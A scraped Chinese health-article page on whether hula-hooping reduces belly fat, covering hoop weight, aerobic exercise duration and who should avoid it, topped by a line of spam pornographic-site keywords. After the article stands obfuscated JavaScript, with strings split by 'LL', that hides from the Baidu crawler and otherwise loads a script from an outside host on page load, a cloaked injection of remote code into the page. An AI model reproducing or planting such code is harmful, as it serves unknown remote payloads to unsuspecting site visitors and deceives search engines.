久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

        晃呼啦圈減肚子嗎

        2017-04-17 12:32:49  來(lái)源:360常識(shí)網(wǎng)   熱度:
        導(dǎo)語(yǔ):呼啦圈已經(jīng)越來(lái)越多的被人們當(dāng)中一種減肥的運(yùn)動(dòng)方式,其實(shí)呼啦圈只要是堅(jiān)持轉(zhuǎn)動(dòng)的話確實(shí)是可以瘦身減肥的,但是一定要記住轉(zhuǎn)呼啦圈的注意事

        呼啦圈已經(jīng)越來(lái)越多的被人們當(dāng)中一種減肥的運(yùn)動(dòng)方式,其實(shí)呼啦圈只要是堅(jiān)持轉(zhuǎn)動(dòng)的話確實(shí)是可以瘦身減肥的,但是一定要記住轉(zhuǎn)呼啦圈的注意事項(xiàng),否則的話很可能就會(huì)造成一些意外的發(fā)生,畢竟有很多人們都是不太適合去轉(zhuǎn)呼啦圈的,尤其是腰部以前受過(guò)傷的人們就不能夠去轉(zhuǎn)呼啦圈,但是呼啦圈的確可以瘦肚子的。

        搖呼啦圈對(duì)腹部瘦身效果不錯(cuò)的,不過(guò)不管哪項(xiàng)運(yùn)動(dòng),都貴在堅(jiān)持,平時(shí)注意不要長(zhǎng)時(shí)間的坐著不動(dòng),睡前可以做做仰臥起坐,油膩食物少吃。需要提醒的是有腰肌勞損者、脊椎有傷者、骨質(zhì)疏松患者以及老年人,是不適宜此項(xiàng)運(yùn)動(dòng)的。另外,在搖呼啦圈之前,應(yīng)當(dāng)先做一些伸展運(yùn)動(dòng),伸展韌帶,避免扭傷。

        可以通過(guò)運(yùn)動(dòng)進(jìn)行改善,建議您在近期的生活中可以多吃一些青菜,水果等食物,不要吃油膩的食物,每天早起跑跑步,晚睡前搖搖呼啦圈,做做仰臥起坐等等,會(huì)有改善的

        很多人認(rèn)為還是選擇重的呼啦圈比較好,這樣能用的力更大,能甩掉更多的脂肪。其實(shí)不然,關(guān)鍵在于個(gè)人的體質(zhì)和身材問(wèn)題。如果你體質(zhì)較差,身子較小,還選擇那種較重的呼啦圈的話,在開(kāi)始甩的時(shí)候就要花很大的勁,對(duì)你來(lái)說(shuō),這就變成了劇烈運(yùn)動(dòng)。但是如果你的時(shí)間不夠長(zhǎng),這樣短暫的劇烈運(yùn)動(dòng)只是無(wú)氧運(yùn)動(dòng),只會(huì)感覺(jué)到全身的酸痛,而不會(huì)有減肥的效果。而且太重的呼啦圈在甩動(dòng)時(shí)撞擊腹部、背部?jī)?nèi)的臟器的力量較大,可能會(huì)傷到這些部位哦。因此,建議選用重量適中的呼啦圈哦。

        其實(shí),無(wú)論怎么減肥,都要記住一條,只有有氧運(yùn)動(dòng)才能消耗身體內(nèi)的脂肪及多多的能量,所以像武松耍大刀那么來(lái)兩下,是沒(méi)有什么用的。短暫的劇烈運(yùn)動(dòng)屬于無(wú)氧運(yùn)動(dòng),只會(huì)換來(lái)腰部肌肉的無(wú)比的酸痛,而不能瘦掉你的水桶腰和多余的熱量。外加搖呼啦圈的運(yùn)動(dòng)強(qiáng)度并不是很強(qiáng),惟有延長(zhǎng)運(yùn)動(dòng)時(shí)間而且是持續(xù)性的運(yùn)動(dòng),才可以達(dá)到有氧運(yùn)動(dòng)的階段,也只有在這個(gè)階段,你的瘦腰A計(jì)劃才可以有效。一般正常成年人連續(xù)鍛煉以15-20分鐘最佳,每日運(yùn)動(dòng)時(shí)間保持在30-50分鐘最好。時(shí)間應(yīng)保持在30~50分鐘最好。

        無(wú)論是什么樣的運(yùn)動(dòng)方式只要是有氧的運(yùn)動(dòng)方式都是能夠消耗脂肪,這樣的話就能夠讓自己身體當(dāng)中不至于堆積很多的贅肉,只不過(guò)對(duì)于轉(zhuǎn)呼啦圈的減肥時(shí)間是有講究的,如果是成年人的話就盡量的要鍛煉十五分鐘左右的,并且要記住是連續(xù)運(yùn)動(dòng)的,不能夠斷斷續(xù)續(xù)的。

        轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}